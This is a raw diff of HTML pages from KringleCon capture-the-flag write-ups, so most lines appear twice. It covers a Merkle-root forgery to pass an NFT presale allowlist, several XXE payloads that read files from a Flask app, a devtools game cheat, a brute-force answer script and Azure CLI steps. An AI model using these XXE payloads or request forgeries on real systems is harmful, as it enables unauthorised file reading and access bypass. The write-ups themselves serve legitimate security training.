Looking at the source code of the presale page (hit <code>^u</code> or follow the images), especially <code>https://boredsporcrowboatsociety.com/bsrs.js</code>, we find that the root address of the Merkle tree is being sent in the AJAX POST request.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-45-37.png alt=Screenshot-from-2022-12-12-10-45-37.png></p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-50-19.png alt=Screenshot-from-2022-12-12-10-50-19.png></p><p>Check out the last line of the following snippet from <code>bsrs.js</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
Looking at the source code of the presale page (hit <code>^u</code> or follow the images), especially <code>https://boredsporcrowboatsociety.com/bsrs.js</code>, we find that the root address of the Merkle tree is being sent in the AJAX POST request.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-45-37.png alt=Screenshot-from-2022-12-12-10-45-37.png></p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-50-19.png alt=Screenshot-from-2022-12-12-10-50-19.png></p><p>Check out the last line of the following snippet from <code>bsrs.js</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
</span></span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>address</span> <span style=color:#f92672>=</span> document.<span style=color:#a6e22e>getElementById</span>(<span style=color:#e6db74>&#34;wa&#34;</span>).<span style=color:#a6e22e>value</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>proof</span> <span style=color:#f92672>=</span> document.<span style=color:#a6e22e>getElementById</span>(<span style=color:#e6db74>&#39;proof&#39;</span>).<span style=color:#a6e22e>value</span>;
@@ -524,7 +524,7 @@ running <code>pip install -r requirements.txt</code>. Now, we can choose one of
&ldquo;owner&rdquo; addresses for the NFTs in the gallery page. We will add this address as
well as our own wallet address to the <code>allowlist</code> of the script. Here, the
first entry is my wallet address and the next is the owner address that we
stole. The script should look something like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#75715e># --{snip}--</span>
stole. The script should look something like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#75715e># --{snip}--</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>allowlist <span style=color:#f92672>=</span> [<span style=color:#e6db74>&#39;0x8077F057E48493a0e96E359aC5f892264196e311&#39;</span>, <span style=color:#e6db74>&#39;0xa1861E96DeF10987E1793c8f77E811032069f8E9&#39;</span>]
</span></span><span style=display:flex><span>
@@ -543,7 +543,7 @@ open devtools and go to the network tab. We the paste our wallet address and
proof into the field and hit <code>go</code>. We will see a post request fly through. Now
we right click on the request and choose <code>Edit and resend</code> (I&rsquo;m using Firefox
but I believe other browsers support this too). In the request body, replace
the <code>Root</code> value with the one we forged and send it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{<span style=color:#f92672>&#34;Response&#34;</span>: <span style=color:#e6db74>&#34;You&#39;re on the list and good to go! Now... BUY A SPORC!&#34;</span>}
the <code>Root</code> value with the one we forged and send it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{<span style=color:#f92672>&#34;Response&#34;</span>: <span style=color:#e6db74>&#34;You&#39;re on the list and good to go! Now... BUY A SPORC!&#34;</span>}
</span></span></code></pre></div><p>If you don&rsquo;t get a response like the one above, try again with a different
owner address. Once we get a response like this, we resend the same request
with the <code>Validate</code> field set to <code>false</code>. That completes exploiting the The
@@ -562,8 +562,8 @@ also tells us that she keeps her RINGLIST file in a SIMPLE FORMAT.</p><p>Having
entity attack. Let&rsquo;s do another drag&rsquo;n&rsquo;drop and watch the network requests. We
see a POST request flying through. We can right click on the request and choose
<code>Edit and resend</code>.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-43-35.png alt=Screenshot-from-2022-12-11-21-43-35.png></p><p>Referring to the TYPE hint as well as the Boria Mine Door XXE hint, we will
replace the request&rsquo;s JSON body &mldr;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{<span style=color:#f92672>&#34;imgDrop&#34;</span>:<span style=color:#e6db74>&#34;img2&#34;</span>,<span style=color:#f92672>&#34;who&#34;</span>:<span style=color:#e6db74>&#34;princess&#34;</span>,<span style=color:#f92672>&#34;reqType&#34;</span>:<span style=color:#e6db74>&#34;json&#34;</span>}
</span></span></code></pre></div><p>&mldr; with XML. We will also use an XXE payload in the body.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-49-36.png alt=Screenshot-from-2022-12-11-21-49-36.png></p><p>The body should now look like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
replace the request&rsquo;s JSON body &mldr;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{<span style=color:#f92672>&#34;imgDrop&#34;</span>:<span style=color:#e6db74>&#34;img2&#34;</span>,<span style=color:#f92672>&#34;who&#34;</span>:<span style=color:#e6db74>&#34;princess&#34;</span>,<span style=color:#f92672>&#34;reqType&#34;</span>:<span style=color:#e6db74>&#34;json&#34;</span>}
</span></span></code></pre></div><p>&mldr; with XML. We will also use an XXE payload in the body.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-49-36.png alt=Screenshot-from-2022-12-11-21-49-36.png></p><p>The body should now look like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
</span></span><span style=display:flex><span><span style=color:#75715e>&lt;!DOCTYPE imgDrop [&lt;!ENTITY xxe SYSTEM &#34;file:///app/static/images/ringlist.txt&#34; &gt;</span>]&gt;
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;root&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;imgDrop&gt;</span>&amp;xxe;<span style=color:#f92672>&lt;/imgDrop&gt;</span>
@@ -573,19 +573,19 @@ replace the request&rsquo;s JSON body &mldr;</p><div class=highlight><pre tabind
</span></span></code></pre></div><p>Here&rsquo;s how the XXE works. The <code>xxe</code> entity in the DOCTYPE definiton fetches the
file at the location <code>/app/static/images/ringlist.txt</code> and we use this <code>&amp;xxe;</code>
entity as replacement for the contents of the <code>imgDrop</code> tag.</p><p>A valid question would be: why use the path &ldquo;app/static/images/ringlist.txt&rdquo;?</p><p>First, if we look at any of the response headers, we see the header</p><pre tabindex=0><code>&#34;server&#34;: &#34;Werkzeug/2.2.2 Python/3.10.8&#34;
</code></pre><p>Which, with the hint about APP, tells us that we are dealing with a flask app. Second, we are using the <code>static/images</code> path because we saw that from the eye image earlier. Finally, we are using the <code>txt</code> extension because princess Glamtariel told us that she uses a simple SIMPLE FORMAT to store her ringlist.</p><p>Well, that was a lot of explanation, wasn&rsquo;t it?</p><p>Before sending the request, we must change the TYPE, i. e., the content type to <code>application/xml</code>.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-51-20.png alt=Screenshot-from-2022-12-11-21-51-20.png></p><p>Firing the request, we get the following response:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</code></pre><p>Which, with the hint about APP, tells us that we are dealing with a flask app. Second, we are using the <code>static/images</code> path because we saw that from the eye image earlier. Finally, we are using the <code>txt</code> extension because princess Glamtariel told us that she uses a simple SIMPLE FORMAT to store her ringlist.</p><p>Well, that was a lot of explanation, wasn&rsquo;t it?</p><p>Before sending the request, we must change the TYPE, i. e., the content type to <code>application/xml</code>.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-51-20.png alt=Screenshot-from-2022-12-11-21-51-20.png></p><p>Firing the request, we get the following response:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;appResp&#34;</span>: <span style=color:#e6db74>&#34;Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don&#39;t keep any secrets in it any more! Please though, don&#39;t tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;droppedOn&#34;</span>: <span style=color:#e6db74>&#34;none&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;visit&#34;</span>: <span style=color:#e6db74>&#34;static/images/pholder-morethantopsupersecret63842.png,262px,100px&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We visit the site at the path <code>static/images/pholder-morethantopsupersecret63842.png</code> which shows us the image of a folder with the title <code>x_phial_pholder</code>.</p><p><img src=../../kringlecon/2022/pholder-morethantopsupersecret63842.png alt=pholder-morethantopsupersecret63842.png></p><p>We try requesting files like <code>app/static/images/x_phial_pholder/redring.txt</code>, <code>app/static/images/x_phial_pholder/bluering.txt</code> and <code>app/static/images/x_phial_pholder/silverring.txt</code>. For this, we repurpose the previous XXE technique replacing the filepath along the way.</p><p>The silver ring request with the body</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
</span></span></code></pre></div><p>We visit the site at the path <code>static/images/pholder-morethantopsupersecret63842.png</code> which shows us the image of a folder with the title <code>x_phial_pholder</code>.</p><p><img src=../../kringlecon/2022/pholder-morethantopsupersecret63842.png alt=pholder-morethantopsupersecret63842.png></p><p>We try requesting files like <code>app/static/images/x_phial_pholder/redring.txt</code>, <code>app/static/images/x_phial_pholder/bluering.txt</code> and <code>app/static/images/x_phial_pholder/silverring.txt</code>. For this, we repurpose the previous XXE technique replacing the filepath along the way.</p><p>The silver ring request with the body</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
</span></span><span style=display:flex><span><span style=color:#75715e>&lt;!DOCTYPE imgDrop [&lt;!ENTITY xxe SYSTEM &#34;file:///app/static/images/x_phial_pholder_2022/silverring.txt&#34;&gt;</span>]&gt;
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;root&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;imgDrop&gt;</span>&amp;xxe;<span style=color:#f92672>&lt;/imgDrop&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;who&gt;</span>princess<span style=color:#f92672>&lt;/who&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;reqType&gt;</span>xml<span style=color:#f92672>&lt;/reqType&gt;</span>
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;/root&gt;</span>
</span></span></code></pre></div><p>gets us the following response:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>gets us the following response:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;appResp&#34;</span>: <span style=color:#e6db74>&#34;I&#39;d so love to add that silver ring to my collection, but what&#39;s this? Someone has defiled my red ring! Click it out of the way please!.^Can&#39;t say that looks good. Someone has been up to no good. Probably that miserable Grinchum!&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;droppedOn&#34;</span>: <span style=color:#e6db74>&#34;none&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;visit&#34;</span>: <span style=color:#e6db74>&#34;static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px&#34;</span>
@@ -594,14 +594,14 @@ entity as replacement for the contents of the <code>imgDrop</code> tag.</p><p>A
<code>static/images/x_phial_pholder_2022/redring-supersupersecret928164.png</code> and see
a red ring with text on it saying <code>goldring_to_be_deleted.txt</code>.</p><p><img src=../../kringlecon/2022/redring-supersupersecret928164.png alt=redring-supersupersecret928164.png></p><p>By this time, we know the drill, we have to exfiltrate the contents of this
file. So we use the path
<code>static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
<code>static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
</span></span><span style=display:flex><span><span style=color:#75715e>&lt;!DOCTYPE imgDrop [&lt;!ENTITY xxe SYSTEM &#34;file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt&#34; &gt;</span>]&gt;
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;root&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;imgDrop&gt;</span>&amp;xxe;<span style=color:#f92672>&lt;/imgDrop&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;who&gt;</span>princess<span style=color:#f92672>&lt;/who&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;reqType&gt;</span>xml<span style=color:#f92672>&lt;/reqType&gt;</span>
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;/root&gt;</span>
</span></span></code></pre></div><p>We get the response:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>We get the response:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;appResp&#34;</span>: <span style=color:#e6db74>&#34;Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you&#39;ve made a pretty bold REQuest. That&#39;s ok, but even if I knew anything about such things, I&#39;d only use a secret TYPE of tongue to discuss them.^She&#39;s definitely hiding something.&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;droppedOn&#34;</span>: <span style=color:#e6db74>&#34;none&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;visit&#34;</span>: <span style=color:#e6db74>&#34;none&#34;</span>
@@ -614,14 +614,14 @@ princess wished for before we changed the request from JSON to XML.</p><p><img s
when we drag&rsquo;n&rsquo;drop the silver ring to the princess, there is a post request
with the <code>imgDrop</code> as <code>img1</code>. Thus, we have to set <code>imgDrop</code> to <code>img1</code>.</p><p>Honestly, it seemed like a huge leap in logic but reading the earlier response,
the princess explicitly tells us that she thought we wanted her to look at the
silver ring.</p><p>Now the payload becomes the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
silver ring.</p><p>Now the payload becomes the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-xml data-lang=xml><span style=display:flex><span><span style=color:#75715e>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span>
</span></span><span style=display:flex><span><span style=color:#75715e>&lt;!DOCTYPE imgDrop [&lt;!ENTITY xxe SYSTEM &#34;file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt&#34; &gt;</span>]&gt;
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;root&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;imgDrop&gt;</span>img1<span style=color:#f92672>&lt;/imgDrop&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;who&gt;</span>princess<span style=color:#f92672>&lt;/who&gt;</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&lt;reqType&gt;</span>&amp;xxe;<span style=color:#f92672>&lt;/reqType&gt;</span>
</span></span><span style=display:flex><span><span style=color:#f92672>&lt;/root&gt;</span>
</span></span></code></pre></div><p>which returns the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>which returns the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;appResp&#34;</span>: <span style=color:#e6db74>&#34;No, really I couldn&#39;t. Really? I can have the beautiful silver ring? I shouldn&#39;t, but if you insist, I accept! In return, behold, one of Kringle&#39;s golden rings! Grinchum dropped this one nearby. Makes one wonder how &#39;precious&#39; it really was to him. Though I haven&#39;t touched it myself, I&#39;ve been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;droppedOn&#34;</span>: <span style=color:#e6db74>&#34;none&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;visit&#34;</span>: <span style=color:#e6db74>&#34;static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px&#34;</span>

View File

@@ -14,7 +14,7 @@ running code in the devtools console. In our case, we must select the iframe
either named <code>room/</code> or <code>hhc23-snowball.holidayhackchallenge.com</code>.</p><p><img src=../../kringlecon/2023/snowball-hero-01.avif alt></p><p>Now we can peek into the sources tab in devtools which details the
<code>snowball_fight.js</code> loaded for the game to run.</p><p>We were given the hint that there might be a way to play the game in
single-player mode. Skimming through the code in <code>snowball_fight.js</code>, we notice
the following code snippet.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>singlePlayer</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;false&#34;</span>
the following code snippet.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>singlePlayer</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;false&#34;</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>function</span> <span style=color:#a6e22e>checkAndUpdateSinglePlayer</span>() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>const</span> <span style=color:#a6e22e>localStorageValue</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>localStorage</span>.<span style=color:#a6e22e>getItem</span>(<span style=color:#e6db74>&#39;singlePlayer&#39;</span>);
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> (<span style=color:#a6e22e>localStorageValue</span> <span style=color:#f92672>===</span> <span style=color:#e6db74>&#39;true&#39;</span> <span style=color:#f92672>||</span> <span style=color:#a6e22e>localStorageValue</span> <span style=color:#f92672>===</span> <span style=color:#e6db74>&#39;false&#39;</span>) {
@@ -30,12 +30,12 @@ the following code snippet.</p><div class=highlight><pre tabindex=0 style=color:
by setting the URL parameter <code>singlePlayer</code> to <code>true</code>. Since the game does
not provide us a <em>blank</em> game mode, we will start with the random matchmaking
option. As soon as the iframe loads, however, we run the following code in the
devtools console:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>url</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>URL</span>(window.<span style=color:#a6e22e>location</span>.<span style=color:#a6e22e>href</span>)
devtools console:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>url</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>URL</span>(window.<span style=color:#a6e22e>location</span>.<span style=color:#a6e22e>href</span>)
</span></span><span style=display:flex><span><span style=color:#a6e22e>url</span>.<span style=color:#a6e22e>searchParams</span>.<span style=color:#a6e22e>set</span>(<span style=color:#e6db74>&#34;singlePlayer&#34;</span>, <span style=color:#e6db74>&#34;true&#34;</span>)
</span></span><span style=display:flex><span>window.<span style=color:#a6e22e>location</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>url</span>.<span style=color:#a6e22e>href</span>
</span></span></code></pre></div><p>The code here takes the current URL location, adds the <code>singlePlayer</code> to <code>true</code>
and sets the current location to the modified URL, causing the page to reload.
This spawns Elf the Dwarf who, I have to admit, has the most overpowered attack.</p><p><img src=../../kringlecon/2023/snowball-hero-02.avif alt></p><p>To break the already broken enough game, we add the following code to take no hits and stop every opponent from throwing snowballs:</p><ul><li>The <code>player.takeHit</code> function takes two arguments. We will overwrite it with a function that accepts the same two arguments but does nothing.</li><li>We set our own throw delay to 0 to become a snowball machine-gun.</li><li>Finally, we set everyone else&rsquo;s throw delay to longer than their lifespans.</li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>player</span>.<span style=color:#a6e22e>takeHit</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>function</span> (<span style=color:#a6e22e>a</span>, <span style=color:#a6e22e>b</span>) {};
This spawns Elf the Dwarf who, I have to admit, has the most overpowered attack.</p><p><img src=../../kringlecon/2023/snowball-hero-02.avif alt></p><p>To break the already broken enough game, we add the following code to take no hits and stop every opponent from throwing snowballs:</p><ul><li>The <code>player.takeHit</code> function takes two arguments. We will overwrite it with a function that accepts the same two arguments but does nothing.</li><li>We set our own throw delay to 0 to become a snowball machine-gun.</li><li>Finally, we set everyone else&rsquo;s throw delay to longer than their lifespans.</li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>player</span>.<span style=color:#a6e22e>takeHit</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>function</span> (<span style=color:#a6e22e>a</span>, <span style=color:#a6e22e>b</span>) {};
</span></span><span style=display:flex><span><span style=color:#a6e22e>player</span>.<span style=color:#a6e22e>throwDelay</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span><span style=color:#a6e22e>elfThrowDelay</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>Infinity</span>;
</span></span><span style=display:flex><span><span style=color:#a6e22e>santaThrowDelay</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>100000</span>;
@@ -104,7 +104,7 @@ Type &ldquo;exit&rdquo; to close&mldr;</p></blockquote><pre tabindex=0><code>elf
using an LLM tool. Our task is to differentiate the legitimate findings from
the ones hallucinated by the AI. I tried to solve the challenge using my flaky
cybersecurity knowledge but that led me nowhere. After around five attempts, I
caved into writing a simple script to brute force the combination.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> requests
caved into writing a simple script to brute force the combination.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> requests
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>for</span> x <span style=color:#f92672>in</span> range(<span style=color:#ae81ff>0b111111111</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>):
</span></span><span style=display:flex><span> form <span style=color:#f92672>=</span> {
@@ -133,7 +133,7 @@ we get all the integers from 0 upto <code>n</code> but not including <code>n</co
added 1 to the nine-bit maximum in the <code>for</code> loop.</p><p>To access each element of this bitfield, we can right shift the number by the
position (divide by 2 to the power of the position), then <code>and</code>ing it with 1.
This then allows us to use the bit values in the form we post to the endpoint
that checks the answer.</p><p>This is the output we get after running the script:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
that checks the answer.</p><p>This is the output we get after running the script:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;input-1&#34;</span>: <span style=color:#ae81ff>0</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;input-2&#34;</span>: <span style=color:#ae81ff>0</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;input-3&#34;</span>: <span style=color:#ae81ff>1</span>,
@@ -146,7 +146,7 @@ that checks the answer.</p><p>This is the output we get after running the script
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We can submit the same answers manually in the web form, 1 for hallucinated and 0 for legitimate findings. That was my cheeky way of solving the challenge.</p><h2 id=azure-101>Azure 101</h2><p>This is akin to the previous challenge with a lot of instructions. For distinction,</p><blockquote><p>the instructions will be in blockquotes</p></blockquote><p>while my commentary will continue as normal.</p><blockquote><p>You may not know this but the Azure cli help messages are very easy to access. First, try typing:</p></blockquote><pre tabindex=0><code>$ az help | less
</code></pre><blockquote><p>Next, you&rsquo;ve already been configured with credentials. Use &lsquo;az&rsquo; and your &lsquo;account&rsquo; to &lsquo;show&rsquo; your current details and make sure to pipe to less ( | less )</p></blockquote><pre tabindex=0><code>$ az account show | less
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;environmentName&#34;</span>: <span style=color:#e6db74>&#34;AzureCloud&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;2b0942f3-9bca-484b-a508-abdae2db5e64&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;isDefault&#34;</span>: <span style=color:#66d9ef>true</span>,
@@ -160,8 +160,8 @@ that checks the answer.</p><p>This is the output we get after running the script
</span></span><span style=display:flex><span>}
